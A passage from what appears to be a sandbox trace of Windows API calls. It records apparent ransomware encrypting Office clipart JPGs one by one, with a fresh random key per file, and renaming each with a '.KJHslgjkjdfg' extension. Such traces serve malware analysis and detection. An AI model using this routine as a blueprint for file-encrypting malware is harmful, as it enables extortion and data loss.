lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.094] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.094] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.094] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.094] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.094] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4162, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4162, lpOverlapped=0x0) returned 1 [0192.095] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4170, dwBufLen=0x4170 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4170) returned 1 [0192.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.096] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4170, lpOverlapped=0x0) returned 1 [0192.096] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.096] SetEndOfFile (hFile=0x130) returned 1 [0192.099] GetProcessHeap () returned 0x990000 [0192.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.099] GetProcessHeap () returned 0x990000 [0192.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.kjhslgjkjdfg")) returned 1 [0192.100] CloseHandle (hObject=0x130) returned 1 [0192.100] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4b400, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe4b400, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1 [0192.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.101] GetProcessHeap () returned 0x990000 [0192.101] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.101] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.101] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.101] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.101] GetProcessHeap () returned 0x990000 [0192.101] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.101] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.101] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.101] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.104] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.104] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.104] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.104] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.104] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.104] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.104] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5fd0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5fd0, lpOverlapped=0x0) returned 1 [0192.105] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5fd0, dwBufLen=0x5fd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5fd0) returned 1 [0192.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.106] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5fd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5fd0, lpOverlapped=0x0) returned 1 [0192.106] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x60a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.106] SetEndOfFile (hFile=0x130) returned 1 [0192.109] GetProcessHeap () returned 0x990000 [0192.109] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.109] GetProcessHeap () returned 0x990000 [0192.109] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.kjhslgjkjdfg")) returned 1 [0192.118] CloseHandle (hObject=0x130) returned 1 [0192.118] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1 [0192.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.118] GetProcessHeap () returned 0x990000 [0192.118] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.119] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.119] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.120] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.120] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.120] GetProcessHeap () returned 0x990000 [0192.120] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.120] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.121] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.121] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.121] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.121] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.121] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.121] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.121] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.121] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.121] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2378, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2378, lpOverlapped=0x0) returned 1 [0192.122] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2380, dwBufLen=0x2380 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2380) returned 1 [0192.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.122] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2380, lpOverlapped=0x0) returned 1 [0192.123] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.123] SetEndOfFile (hFile=0x130) returned 1 [0192.123] GetProcessHeap () returned 0x990000 [0192.123] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.123] GetProcessHeap () returned 0x990000 [0192.123] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.kjhslgjkjdfg")) returned 1 [0192.124] CloseHandle (hObject=0x130) returned 1 [0192.124] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1 [0192.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.126] GetProcessHeap () returned 0x990000 [0192.126] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.126] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.126] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.128] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.128] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.128] GetProcessHeap () returned 0x990000 [0192.128] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.128] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.128] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.128] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.128] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.129] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.129] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.129] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.129] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.129] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.129] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f8c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f8c, lpOverlapped=0x0) returned 1 [0192.130] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f90) returned 1 [0192.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.130] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f90, lpOverlapped=0x0) returned 1 [0192.131] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.131] SetEndOfFile (hFile=0x130) returned 1 [0192.134] GetProcessHeap () returned 0x990000 [0192.134] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.134] GetProcessHeap () returned 0x990000 [0192.134] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.kjhslgjkjdfg")) returned 1 [0192.135] CloseHandle (hObject=0x130) returned 1 [0192.135] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1 [0192.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.137] GetProcessHeap () returned 0x990000 [0192.137] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.137] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.137] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.139] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.139] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.139] GetProcessHeap () returned 0x990000 [0192.139] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.139] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.139] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.140] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.140] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.140] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.140] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.140] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.140] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.140] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.140] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xab74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xab74, lpOverlapped=0x0) returned 1 [0192.142] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xab80, dwBufLen=0xab80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xab80) returned 1 [0192.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, 